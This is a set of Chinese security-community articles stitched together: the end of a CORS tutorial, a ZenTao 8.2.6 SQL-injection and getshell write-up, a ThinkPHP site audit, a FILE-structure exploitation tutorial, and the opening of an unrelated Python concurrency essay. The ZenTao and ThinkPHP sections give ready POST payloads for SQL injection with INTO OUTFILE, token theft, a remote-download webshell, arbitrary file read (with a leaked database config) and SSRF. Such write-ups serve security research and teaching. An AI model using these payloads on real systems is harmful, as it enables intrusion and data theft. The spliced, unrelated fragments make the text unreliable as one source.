<http://victim.com:8888/cors/vuln.php,然后点击登陆获取到登陆信息，然后我们假装成受害者点击`http://attack.com:8888/cors/exp.php`>
可以看到这个接口是需要登陆信息的
但是如果我们修改`vuln.php`成这样子呢
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
可以看到`cookie`的确发送了,也返回了对应的json数据，但是却没有被脚本接收到，因为脚本接收到数据得先问下浏览器支持不，我们可以看下console就可以发现被禁止的原因了，因为
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
这样开启的跨域肯定是不安全的，所以浏览器直接ban掉了这种配置方式。
这样也是不行的，我们再尝试修改成:
header("Access-Control-Allow-Origin: http://attack.com:8888");
header("Access-Control-Allow-Credentials: true");
这样便可以了获取到敏感信息了。
**最后小结一下:**
关键判断是否存在cors漏洞
公有资源:`Access-Control-Allow-Origin:*`
授权信息:`Access-Control-Allow-Credentials: true` 同时 `Access-Control-Allow-Origin:`不为*
## 0x5 CORS防御思路
* 白名单
* 规范化正则表达式
* 只允许安全的协议如https
* 避免使用Access-Control-Allow-Credentials为True
* «使用框架的时候注意查看相关文档的用法,根据上面规则进行更正。
## 0x6 高效挖掘CORS漏洞的探讨
如何有效的探测cors漏洞呢，最简单的就是我们伪造一个xhr的请求去测试下能获取信息不，`xhr`请求有一个很明显的特征字段:`Origin`,这个也是浏览器判断是否同源的根据。
burp是支持简单的cors漏洞扫描的
但是误报率很高，而且也需要自己去手工验证，这里我比较推荐
就是我们自己寻找一些关键的api接口，然后我们让请求自动添加上`Origin`然后我们在看返回包，来判断这样的话不但准确而且很方便。
这个实现我们可以用burp的替换功能来实现
`proxy->options->Match and Replace->Add`
勾选上这个即可。
## 0x7 总结
关于cors的攻击点其实不是很多，我感觉还是这种错误配置最典型，至于那些正则匹配失误的情况，平时可以多加留意，欢迎师傅能介绍一些怎么让burp去自动fuzz正则错误的情况，这个其实可以用burp插件解决，但是我没有找到，如果有师傅知道可以告诉下我，我就不重复造轮子了，不然到时候我就自己写一个然后实战记录下。
关于一些错误配置的例子可以参考:[错误配置CORS的3种利用方法](https://xz.aliyun.com/t/4663)
## 0x8 参考链接
[cors安全完全指南](https://xz.aliyun.com/t/2745)
[HTTP访问控制（CORS）](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Access_control_CORS#Preflighted_requests) | 社区文章 |
>
> 之前和一个朋友一直在讨论禅道获取webshell的方法，折腾了一天左右，最后还是在命令执行的地方拿到shell的。说来也是惭愧，这两天又研究了一下，又发现了一个低版本getshell的方法，最新版本是不行的，我测试的版本是8.2.6。最新版本9.1是不行的，其它版本未测试。
##### 一、上传点
// D:\wamp\www\zentao826\module\file\control.php
public function ajaxUpload()
{
$file = $this->file->getUpload('imgFile');
$file = $file[0];
if($file)
{
if($file['size'] == 0) die(json_encode(array('error' => 1, 'message' => $this->lang->file->errorFileUpload)));
if(@move_uploaded_file($file['tmpname'], $this->file->savePath . $file['pathname']))
{
/* Compress image for jpg and bmp. */
$file = $this->file->compressImage($file);
$file['addedBy'] = $this->app->user->account;
$file['addedDate'] = helper::today();
unset($file['tmpname']);
$this->dao->insert(TABLE_FILE)->data($file)->exec();
$url = $this->file->webPath . $file['pathname'];
die(json_encode(array('error' => 0, 'url' => $url)));
}
else
{
$error = strip_tags(sprintf($this->lang->file->errorCanNotWrite, $this->file->savePath, $this->file->savePath));
die(json_encode(array('error' => 1, 'message' => $error)));
}
}
}
这里，我们可以用`burpsuite`抓包将文件名改为`xxxx.php*`，`*`可以是`{\x80-\x99}`。这样，我们就可以成功上传一个shell，但是`die(json_encode(array('result'
=> 'success', 'message' =>
$this->lang->saveSuccess)));`会错误而不会返回文件的地址。
##### 二、SQL注入的根源
> 问题出在`oderBy`函数
// D:\wamp\www\zentao826\lib\base\dao\dao.class.php
public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';
$orders = explode(',', $orders);
foreach($orders as $i => $order)
{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = $value;
/* such as t1.id field. */
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
/* Ignore order with function e.g. order by length(tag) asc. */
if(strpos($field, '(') === false and strpos($field, '`') === false) $field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = join(' ', $orderParse);
}
$order = join(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}
> 这段代码是有问题的，`order`参数经过了一些处理就直接拼接到了SQL查询语句中，但是问题在于， **一些处理**
> 并没有针对安全处理。不过有下面几点可能会出现问题，具体为什么看看代码就知道了。
* 最好不好出现空格
* 最好不好出现点
* 最好不要出现下划线
* `order by`之后不能使用`union`语句
* 可以报错或者盲注
##### 三、注入点
// D:\wamp\www\zentao826\module\product\control.php
public function updateOrder()
{
$idList = explode(',', trim($this->post->products, ','));
$orderBy = $this->post->orderBy;
if(strpos($orderBy, 'order') === false) return false;
$products = $this->dao->select('id,`order`')->from(TABLE_PRODUCT)->where('id')->in($idList)->orderBy($orderBy)->fetchPairs('order', 'id');
foreach($products as $order => $id)
{
$newID = array_shift($idList);
if($id == $newID) continue;
$this->dao->update(TABLE_PRODUCT)->set('`order`')->eq($order)->where('id')->eq($newID)->exec();
}
}
因此我们的payload就是
http://zentao826.me/product-updateorder.html
POST:products=1,2&orderBy=`order`and/**/polygon((select/**/*/**/from(select/**/*/**/from(select/**/user())a)b))%23
虽说可以盲注了，但是你会发现表名、字段名出现了下划线就不能注入了。。。
##### 四、如果没有下划线
>
> 没有下划线的情况，在这里盲注也是很麻烦的，在最上面，我们提到了一个上传点，但是没有办法拿到文件名。但是，如果没有下划线能不能从注入点切入呢？禅道这套系统使用的是PDO操作数据库，记得很久之前做过一道`CTF`，当时就是利用PDO可以多语句执行的特性。
**因此这里的执行步骤就是：**
* 现在后台上传一个文件，文件名为`xxxx.php\x81`
* 利用注入写文件，把`file`表中的数据写入到文件中
* 访问文件，得到文件名
**payload如下** ：
http://zentao826.me/product-updateorder.html
POST:products=1,2&orderBy=`order`;select/**/*/**/from/**/file/**/into/**/outfile/**/'d:/2'#
**条件限制** ：
* MySQL当前账户有文件操作的权限
* 禅道数据库表名无前缀
* 至少有一个可以上传文件的后台账号 | 社区文章 |
## 0x00 前言
学习php代码审计的前提是需要熟悉 php 的语法；对Model（数据模型）、Controller（业务逻辑）、View（视图）类似的模式有了解；对SQL
预编译、一些危险函数有了解。我曾花了一个月时间学习 php 语法、创建 thinkphp 站点有所了解，所以在 githb
上找了一个站点作为练手。以下问题均已提交 Github issue。
代码审计可以分为两种手段：黑白盒。我们可以搭建站点后通过 AWVS
等扫描工具进行漏扫。也可以通过寻找危险函数来寻找那些可以获取权限的漏洞。这里个站点使用了一个比较小型的
waf，在我进行漏扫后没有发现什么漏洞。所以我直接采用了寻找危险函数可控点来发现严重的漏洞。
## 0x01 环境说明
Apache 2.4.46
MySQL 5.7.34
PHP 7.4.21
ThinkPHP 5.0.24
## 0x02 漏洞挖掘 ｜ 远程文件上传 Getshell
### 1.发现危险函数
通过全局搜索 fopen 这个打开文件的函数，发现了 api 下面存在一个 `path` 用变量来控制，极有肯能存在问题。
双击后可以发现是一个 download_img 的函数，其中 `url` 和 `path` 变量是可控的。
这里直接使用 curl 访问了我们提供的 `url` 并且 `path` 也没有做任何过滤。直接读文件写到指定目录。
直接构造路近请求但是提示 `token` 错误，下一步我们需要获得`token`。
### 2.获取token
#### 思路一、伪造 token
`token` 获取的方式一般是通过登陆，不过我想知道 `token` 的构造看看尝试能不能直接伪造一段 `token`
在 `api` 中 `Login.php` 里发现登陆的入口
1. 这里发现它使用 `this` 进行调用 `getLogic` 类内公开函数，往上找发现这个函数返回了一个新的 `UserLogic` 类对象。
2. 通过调用这个返回的对象 `login` 函数才能进一步知道执行了什么。
3. 再往上看发现 `UserLogic` 不是这个 `class Login` 的，而是继承 `Common` 父类。
在 `common` 里发现可以发现 `UserLogc.php` 里的 `login` 函数
1. 往下看可以找到生成 `token` 的代码
2. 主体是这个生成的，这里使用了 `logic('Token')` 去获取类，我们跟进去就可以找到处理 `Token` 的文件。
跟进 `logic` 函数可以发现这里执行了两个步骤：
1. 一个是拼接文件名，`class` 变量中使用传入的 `name` 变量进行拼接，我们拿到刚刚的 `'Token'` 可以推出变量为：`\app\common\logic\TokenLogic`
2. 直接通过 `new` 来生成 `TokenLogic` 对象
找到 `TokenLogic.php` 文件，进一步跟踪到 `getToken` 函数
往下看发现了 `token` 的构造是 `$type-$user_id-microtime` 其中 `microtime` 是获取的时间戳。
再往上看，有一个 `checkToken` 函数用于校验。`model` 是数据模型了，这里的意思是直接通过数据库查询传递的 `token`
是否匹配。这就导致即使我们伪造了 `token` 但是不在数据库那就不能通过。
#### 思路二、间接获取 token
看源码可以知道，一定是要登陆才能调用到 `getToken` 。可以通过注册登陆的方式来获取，但是如果关闭了注册功能、注册功能失效，我们就没法获取
`token` 了。有没有不需要有账号密码即可获取 `token` 的方式？
我们继续来看登陆功能的 `Login.php` 发现提供了一种不需要账号密码就可以登陆的方式。
进一步跟进 `wxLogin` 函数
1. 折叠函数里包含了输入内容的校验，大概意思是用户不存在可以创建一个新的，这里我们可以不用管。
2. 通过了校验之后会生成新的 `token`
我们直接构造数据包，填入需要的字段即可直接拿到生成的 `token`。
### 3.漏洞复现
#### 1.获取 token
文件上传的接口需要 access_token ，我们可以通过下面这个接口获取
POST /api/login/wx_login HTTP/1.1
Host: nbnbk:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
openid=1&unionid=1&sex=1&head_img=1&nickname=1
可以在返回包中发现 token 已经生成
#### 2.在 vps 中启动 http 服务
echo '<?php phpinfo();' > index.php
python -m http.server 8099
#### 3.文件上传
POST /api/User/download_img HTTP/1.1
Host: nbnbk:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Connection: close
access_token=87b5fd1230df78dad5a62924426a9a6d&url=http://127.0.0.1:8099/index.php&path=info.php
这里的 access_token 就是上面获取的 token，url 是文件地址，path 是文件名
返回 200 表示成功，我们直接访问 <http://nbnbk:8888/info.php>
可以看到已经写入文件并能成功解析。如果有权限问题，可以考虑上传到 `uploads` 目录也可以执行。
## 0x03 漏洞挖掘 ｜ 任意文件读取
### 1.漏洞分析
通过全局搜索危险函数 `file_get_contents` 可以找到一处 `api` 目录下的文件，这意味着我们可以构造请求。
查看代码我们可以知道，这里没有任何的防御。`file_get_contents` 函数的参数是可控的。
这里将文件转成 `base64` 并通过 `chunk_split` 对数据进行了分割，这里没有其他参数，只是把换行进行了转码，格式为 `\r\n`。
### 2.漏洞复现
POST /api/Index/getFileBinary HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
url=../application/database.php
通过修改 `url` 参数来读取文件，来看返回数据。
HTTP/1.1 200 OK
Date: Fri, 04 Mar 2022 03:39:37 GMT
Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-0910052141 PHP/7.4.21 OpenSSL/1.0.2u mod_wsgi/3.5 Python/2.7.13
X-Powered-By: PHP/7.4.21
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: x-requested-with,content-type,x-access-token,x-access-appid
Content-Length: 2784
Connection: close
Content-Type: text/html; charset=UTF-8
{"code":0,"msg":"操作成功","data":"PD9waHAKLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBUaGlua1BIUCBbIFdFIENBTiBETyBJVCBKVVNU\r\nIFRISU5LIF0KLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBDb3B5cmlnaHQgKGMpIDIwMDZ+MjAxNiBo\r\ndHRwOi8vdGhpbmtwaHAuY24gQWxsIHJpZ2h0cyByZXNlcnZlZC4KLy8gKy0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K\r\nLy8gfCBMaWNlbnNlZCAoIGh0dHA6Ly93d3cuYXBhY2hlLm9yZy9saWNlbnNlcy9MSUNFTlNFLTIu\r\nMCApCi8vICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vIHwgQXV0aG9yOiBsaXUyMXN0IDxsaXUyMXN0QGdtYWls\r\nLmNvbT4KLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCi8vIOaVsOaNruW6k+mFjee9ruaWh+S7tgoKcmV0dXJu\r\nIFsKICAgIC8vIOaVsOaNruW6k+exu+WeiwogICAgJ3R5cGUnICAgICAgICAgICA9PiAnbXlzcWwn\r\nLAogICAgLy8g5pyN5Yqh5Zmo5Zyw5Z2ACiAgICAnaG9zdG5hbWUnICAgICAgID0+ICcxMjcuMC4w\r\nLjEnLAogICAgLy8g5pWw5o2u5bqT5ZCNCiAgICAnZGF0YWJhc2UnICAgICAgID0+ICduYm5iaycs\r\nCiAgICAvLyDnlKjmiLflkI0KICAgICd1c2VybmFtZScgICAgICAgPT4gJ3Jvb3QnLAogICAgLy8g\r\n5a+G56CBCiAgICAncGFzc3dvcmQnICAgICAgID0+ICdwYXNzQCExMjMnLAogICAgLy8g56uv5Y+j\r\nCiAgICAnaG9zdHBvcnQnICAgICAgID0+ICc4ODg5JywKICAgIC8vIOi\/nuaOpWRzbgogICAgJ2Rz\r\nbicgICAgICAgICAgICA9PiAnJywKICAgIC8vIOaVsOaNruW6k+i\/nuaOpeWPguaVsAogICAgJ3Bh\r\ncmFtcycgICAgICAgICA9PiBbXSwKICAgIC8vIOaVsOaNruW6k+e8lueggem7mOiupOmHh+eUqHV0\r\nZjgKICAgICdjaGFyc2V0JyAgICAgICAgPT4gJ3V0ZjgnLAogICAgLy8g5pWw5o2u5bqT6KGo5YmN\r\n57yACiAgICAncHJlZml4JyAgICAgICAgID0+ICdmbF8nLAogICAgLy8g5pWw5o2u5bqT6LCD6K+V\r\n5qih5byPCiAgICAnZGVidWcnICAgICAgICAgID0+IGZhbHNlLAogICAgLy8g5pWw5o2u5bqT6YOo\r\n572y5pa55byPOjAg6ZuG5Lit5byPKOWNleS4gOacjeWKoeWZqCksMSDliIbluIPlvI8o5Li75LuO\r\n5pyN5Yqh5ZmoKQogICAgJ2RlcGxveScgICAgICAgICA9PiAwLAogICAgLy8g5pWw5o2u5bqT6K+7\r\n5YaZ5piv5ZCm5YiG56a7IOS4u+S7juW8j+acieaViAogICAgJ3J3X3NlcGFyYXRlJyAgICA9PiBm\r\nYWxzZSwKICAgIC8vIOivu+WGmeWIhuemu+WQjiDkuLvmnI3liqHlmajmlbDph48KICAgICdtYXN0\r\nZXJfbnVtJyAgICAgPT4gMSwKICAgIC8vIOaMh+WumuS7juacjeWKoeWZqOW6j+WPtwogICAgJ3Ns\r\nYXZlX25vJyAgICAgICA9PiAnJywKICAgIC8vIOaYr+WQpuS4peagvOajgOafpeWtl+auteaYr+WQ\r\npuWtmOWcqAogICAgJ2ZpZWxkc19zdHJpY3QnICA9PiB0cnVlLAogICAgLy8g5pWw5o2u6ZuG6L+U\r\n5Zue57G75Z6LIGFycmF5IOaVsOe7hCBjb2xsZWN0aW9uIENvbGxlY3Rpb27lr7nosaEKICAgICdy\r\nZXN1bHRzZXRfdHlwZScgPT4gJ2FycmF5JywKICAgIC8vIOaYr+WQpuiHquWKqOWGmeWFpeaXtumX\r\ntOaIs+Wtl+autQogICAgJ2F1dG9fdGltZXN0YW1wJyA9PiBmYWxzZSwKICAgIC8vIOaYr+WQpumc\r\ngOimgei\/m+ihjFNRTOaAp+iDveWIhuaekAogICAgJ3NxbF9leHBsYWluJyAgICA9PiBmYWxzZSwK\r\nICAgIC8v5Y+W5raI5YmN5Y+w6Ieq5Yqo5qC85byP5YyWCiAgICAnZGF0ZXRpbWVfZm9ybWF0Jz0+\r\nIGZhbHNlLApdOwo=\r\n"}
文件信息在 `data` 字段中，是 `base64` 编码的格式，但其中包含了大量的 `\r\n` 导致我们没法直接解码。我们可以通过 `js` 去将所有
`\r\n` 删掉。
1. 打开 Google Chrome 游览器
2. 打开一个控制台
3. 输入以下代码
a = "$data string"
a.replaceAll('\r\n', '')
演示将上面代码进行转化
将转化后的数据进行 `base64` 转码 我使用的是 `Google Chrome` 插件 `FeHelper`
该漏洞还可以成为有回显的 `SSRF`。
我在和站点同一服务器下搭建了一个 `php` 的 `web` 服务，其中首页是输出一段文字。
通过接口访问可以获得内网服务信息。
## 0x04 漏洞挖掘 ｜ SSRF 漏洞
### 1.漏洞分析
通过直接搜索 `curl_exec` 函数，发现一个可控的 `curl url` 参数。
具体看一下函数，发现是做远程上传文件的功能，既然 `url` 可控，那就可以做 `ssrf`。
构造一下数据包，其中 `file` 要求 `array` 的形式 `file[tmp_name]=1`。
这里发送请求之后提示500，但是服务器的请求已经发送了。
### 2.漏洞复现
POST /api/Image/curl_upload_image HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
url=http://127.0.0.1:8088&file[tmp_name]=1&file[type]=1&file[name]=1
替换 `url` 来进行 `SSRF` 攻击，该漏洞没有回显。发送请求后可以看到服务器已经向外请求了。
## 总结
这里的代码审计我并没有过多关注逻辑漏洞的问题，反而更加关注能直接获取主机权限的漏洞。目的其实很明确，找到可以构造的输入点，对输入点的绕过，执行我们想要执行的危险函数拿到我们想要的数据。
> "一切存在用户输入的地方都有可能存在漏洞"。 | 社区文章 |
# 【技术分享】溢出利用FILE结构体
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **rac_cp**](http://bobao.360.cn/member/contribute?uid=2796348634)
**稿费：300RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**
**
**前言**
最近的上海大学生网络安全赛就只出了一题pwn450，对于还不是很会的我，瞬间懵逼，不过大佬还是大佬，最后还是挺多大佬做出来了，不过反正我没做出来，最后看题解，用到了两个点，一个是堆溢出，另一个就是利用这个FILE结构体做文章；菜鸡的我只有一个一个学，堆溢出的这点后面再学，先学习了如何利用FILE结构体，也就写出了这篇文章。学习的过程主要也是看大牛的博客文章写出来的，在最后也会附上相应的文章。
**一、结构体介绍**
首先介绍下FILE结构体，下面图就是FILE结构体：
平常我们正常使用FILE结构体的情景是：
此时，系统会给应用程序申请一段空间将相应数据赋值好后然后将地址返回给fp。事实上，系统并不是直接分配的FILE(_IO_FILE)结构体，而是名字为_IO_FILE_plus结构体，这个结构体包含了_IO_FILE结构体，还包含了一个虚函数表指针，其定义为：
这个结构体里面的_IO_jump_t指针类似于C++中的虚函数表，而其结构中具体虚函数名称定义如下：
二者之间的整个关系结构图如下：
图片来源：<https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/>
**二、利用原理**
我们平常在应用程序中调用fclose、fputs这些函数的时候系统最终都会通过_IO_jump_t这个函数表指针对函数进行调用（如fclose会调用close函数等）。
在知道了这一点后，试想如果我们想办法利用其他各种溢出方式覆了应用程序的文件指针，使其指向我们可控区域，在该区域伪造相应的_IO_FILE_plus头（主要是_IO_jump_t表或者是表中函数的指针），最终在程序调用fclose函数或其它函数的时候，就可以控制程序去执行我们想要它执行的地址，control
the eip, control the world。
比较常见的是利用strcpy，strcat等覆盖了文件指针然后进一步利用，下面会举两个例子来进一步理解如何实现，一个是利用UAF来覆盖修改指针，一个是利用strcpy栈溢出。
**三、实例**
**1）UAF利用**
直接贴出源代码（来源：<https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/>）：
可以看到，程序首先申请_IO_FILE_plus (sizeof(_IO_FILE+sizeof(void))
结构体大小的内存块，接下了free掉，紧接着打开一个文件，此时系统会将刚刚释放掉的内存空间分配给文件指针（不懂可以先去看下UAF的相关资料）即此时str与fp指向同一块内存空间，这时利用str将fp结构体的_IO_jump_t指针指向我们伪造的funcs数组，同时再系统最后调用fclose的时候，即调用_IO_jump_t里面的close函数的时候最终变成了调用我们定义的pwn函数，最终程序执行截图如下：
**2）栈溢出利用**
先贴出源码（看了别人的文章以后改编的）
程序的意思是将”abc…..”这个字符串写进到aa.txt中，编译。
首先是漏洞的发现，可以输入最多1046个字符，最后strcpy拷贝到stage缓冲区中，会造成缓冲区溢出，拖进IDA中，如下图
可以看到stage为bp-0x41A而fp指针则为bp-0x8，也就是说在输入长度大于0x41a-0x8=0x412（1042）的时候就可以覆盖fp指针，最大允许输入为0x416，多四字节，刚好可以覆盖fp指针，为了降低难度只体现利用FILE结构体的思想，程序中没有要求我们自己泄露栈地址什么的，而是直接给出了buff地址，所以可以直接覆盖fp指针，指向buff中的地址。最后在调用fputs（源代码是fprintf，编译的时候优化成了fputs）的时候，我们把它调用_IO_jump_t结构中对应的函数地址改写成get_flag函数的地址即可。
在写exp的时候还遇到了不少的困难，下面说我是怎样一步一步解决的。大牛的文章是将stderr指针中的数据拷贝到我们输入的内存中（详细情况可以参考<http://www.evil0x.com/posts/13764.html>），可是我想文件指针里面的数据要不都是地址要不都不怎么用，如果我们事先使用gdb将stderr里面数据拷出来，由于地址随机化的影响，数据很大肯能性已经变得不可访问了，这样容易出错，在看了一遍_IO_FILE结构体后我决定直接将fp里面的数据全都覆盖成stage的地址。前面我又已知了系统的_IO_FILE结构体大小为0x94（148），所以在0x94后面的数据我把_IO_jump_t函数表指针的值设置成了stage+180的地址，在stage+180的地方伪造_IO_jump_t的函数表，并将函数表里面的地址都指向get_flag函数。这样最初写出来的exp代码如下：
执行脚本…….
没有任何反应，gdb附载程序，看下哪里出错，断点下在fputs函数调用前。重新执行脚本
可以看到执行fputs时，此时的fp指针是0xbf9e3c76，而打印出来的stage地址为：
二者相同，说明第一 步我们已经成功，即将fp指针覆盖成我们输入的地址，可以看下此时stage地址中的数据内容
全都是stage的地址，到这一步还没错，接下来按c继续执行看哪出错。程序崩了，重新再来一次，这次不下断点，直接看哪里出错
程序错在fupts+141这里，也就是call[eax+0x1c]这里，查看eax寄存器里面的内容
发现和stage的地址很像，只是错位了两个字节
往上追溯，看eax是在哪赋值的，由于之前的调试，现在我直接去看fputs+120的地方。
看到在fputs+123的地方将eax赋值，查看esi寄存器
发现是stage的地址，其实也就是文件指针，fputs+123代码将文件指针+0x94（_IO_FILE大小就是0x94），刚好是_IO_jump_t函数表指针的地址，不过这里还多加了个eax*1，继续往前翻，看eax来自于哪里
可以看到eax寄存器中的内容来自于esi+0x46，突然想起之前的_IO_FILE结构图，
里面有个offset字段，也就是说通过_IO_FILE指针寻找_IO_jump_t函数表指针的时候不是直接+0x94得到的，而是通过+0x94+offset得到的，之前我们输入的offset可能会很大，导致访存错误，所以下一步修改我们输入的offset字段，也就是偏移0x46处的内容，由于strcpy会截断，故该字段值不能为’x00’，为了方便，我把它直接改成了0x4，同时此时需要将伪造的_IO_jump_t函数表指针地址往后移四个字节。修改后的exp如下：
同时在执行的时候，在fputs+109处下断点，观察eax寄存器中的值
可以看到此时esi+0x46的值正是我们所控制的0x4，继续跟，直到跟到取出_IO_jump_t函数表指针地址的地方，在我这里也就是fputs+123的地方
可以看到此时计算esi+0x94+eax后所指向的地址，正是我们写的指向get_flag函数的地址，进一步查看它偏移0x1c的地址
仍然为get_flag函数的地址（因为我在脚本里将整个_IO_jump_t表函数地址都写成get_flag的地址）。最后在call的时候，就会跳到get_flag函数那里去执行。从而得到shell
到这里就算完成了利用，最后结果如下
最后再提一下，在这里fputs首先调用的是_IO_jump_t+0x1c的地址，
（JUMP_INIT_DUMMY
8个字节），也就是先调用xsputn函数（我也不知道干什么用，之前我猜的是会调用write函数，不过可能是初始化调用这个函数，后面可能还是会调用write，有兴趣的可以继续跟下去），在这里提一下是后面如果遇到，在不覆盖全部指针的情况下，仍然知道如何处理。
到这里，就算写完了。还有就是脚本跑个五六次可能会有一俩次出错，重新跑一次就行了，猜测是stage地址刚好包含’x00’，导致strcpy直接截断，而不复制，最后无果而终，地址随机化开了，多试个一两次就好。
**四、 小结**
利用FILE结构体，最主要的就是那个函数表，控制了它就可以控制函数的流程，linux系统也没有进行检查，可能后面会进行修补吧，不过修了也没关系，大牛们总会有办法的，不过这就和我没什么关系了。现在想想，这个其实也不是很难，只是一个知识点还可以接受，上海的比赛把这个和堆结合起来有有点蒙圈了。
学了这个之后，下一步可能会针对上海的那题再学下堆的利用，再把二者结合起来再总结一下。
第一次写文章，里面应该有很多不对的地方，有什么吐槽的尽管说，我会学习了以后再修改。最后再感谢下大牛们的博客，学到了很多东西，也再一次看到了差距，还要继续努力。
**五、 参考资料**
1、<http://www.evil0x.com/posts/13764.html>
2、<https://securimag.org/wp/news/buffer-overflow-exploitation/>
3、<https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/>
4、<http://repo.thehackademy.net/depot_ouah/fsp-overflows.txt> | 社区文章 |
本文作者：那我就随便唱两句，本文发表于‘小米安全中心’，
原文地址：https://sec.xiaomi.com/article/15
#### 乱谈Python并发
说实话，我一直觉得PHP真的是最好的语言，不仅养活了一大批PHP程序员，同时还为安全人员提供了大量的就业机会。然而，令人唏嘘的是，安全界很多人其实是吃着Python的饭，操着PHP的心。此外，大量的安全研究工具也都是使用Python开发，比如我始终不习惯的mitmproxy，又或者一个循环语句400行的sqlmap、一抓一大把的爬虫框架以及subprocess满天飞的命令行应用包装库。
干活要吃饭，吃饭要带碗。既然这样，要进入互联网安全领域，无论是小白还是高手，多少是要了解点Python的。虽然笔者只是个安全太白，连小白都够不上，但我Python比你专业啊。我看过一些安全人员写的代码，不可否认，功能是有的，代码是渣的，这我非常理解，毕竟术业有专攻，要我去挖洞我也麻瓜，挖个坑倒可以。
其实，Python可以谈的话题很多，比如Python2还是Python3，比如WSGI，比如编码，比如扩展，比如JIT，比如框架和常用库等等，而我们今天要说的则是异步/并发问题，代码运行快一点，就能有更多时间找女朋友了。
#### 进程
众所周知，CPython存在GIL（全局解释锁）问题，用来保护全局的解释器和环境状态变量，社区有过几次去GIL的尝试，都以失败告终，因为发现即使去了GIL，性能好像提高也不是那么明显嘛，还搞那么复杂。注意，这里说的是CPython，Python语言本身是没说要必须有GIL的，例如基于JVM的Jython。而GIL的结果就是Python多线程无法利用多CPU，你128核又如何，我就逮着一只羊薅羊毛了。所以，如果功能是CPU密集型的，这时候Python的进程就派上用场了，除此之外，利用C扩展也是可以绕过GIL的，这是后话。
进程模型算是一种比较古老的并发模型。Python中的进程基本是对系统原生进程的包装，比如Linux上的fork。在Python标准库中，主要是multiprocessing包，多么直白的名字。其中常用的也就是pool，queue模块以及synchronize模块中的一些同步原语（Lock、Condition、Semaphore、Event等）。如果需要更高级的功能，可以考虑下managers模块，该模块用来管理同步进程，大致的实现原理是在内部起了一个server，进程都与这个server交互，进行变量共享...目瞪狗呆有没有，这个模块笔者也只用过两三次，如需对进程进行高级管理，请移步此处。
另外，multiprocessing中有个dummpy子模块，重新实现了一遍多进程模块中的API，然而，它是多线程的，就这么乱入，目的是方便你的代码在多线程和多进程之间无障碍切换，很贴心有没有，而且异常低调，低调到官方文档就一句话，17个单词。
如果你的代码需要大量的CPU运算，多进程是一个比较好的选择。对于安全领域的来说，这种场景貌似不是很多，什么？需要大量加密解密？都到自己要实现这么高深算法的程度了，别挣扎了，用C吧，写个扩展更好。
所以，如非必须，我是不太推荐用多进程的，容易出错，不好控制，而且，有更省心的选择，谁会和自己过不去呢。
#### 线程
与进程一样，Python中的线程也是对系统原生线程的包装。其实现在的Linux上，线程和进程的差别不是很大，以此推知，Linux平台下，Python中的线程和进程开销差别也不会太大，但终归进程是要开销大点的，创建也会慢一点。相比于进程，我是更倾向使用线程的，尤其是IO密集型程序，能用线程解决的问题，尽量不用进程。
另外，如果要在进程之间共享数据，确实比较头疼一点，要用到Queue、Pipe、SyncManager或者类似redis这种外部依赖，而线程之间共享数据就方便很多，毕竟大家都是一个爹生的，家里东西一起用吧。有人可能会觉得，线程能共享数据，但是也会在修改数据时互相影响，导致各种难以排查的BUG，这个问题提的好，之所以有这种问题，还不是因为代码写的烂，多练练就好了。如果既想要方便的共享数据，还要能随意的隔离数据，threading.local()可以帮你，创建的变量属于线程隔离的，线程之间互不影响，上帝的归上帝，恺撒的归恺撒。说到ThreadLocal变，我们熟知的Flask中每个请求上下文都是ThreadLocal的，以便请求隔离，这个是题外话。
Python中的线程主要是在threading模块里，这个模块是对更底层的_thread的封装，提供了更友好的接口。该模块中用到比较多的也是Queue、Pool、Lock、Event等，这些就不展开了，有机会再一一细说。Python
3.2后还引入了一个比较有意思的新类，叫Barrier，顾名思义，就是设置个障碍（设置数目n），等大家都到齐了（每个线程调用下wait，直到有n个线程调用），再一起出发。Python
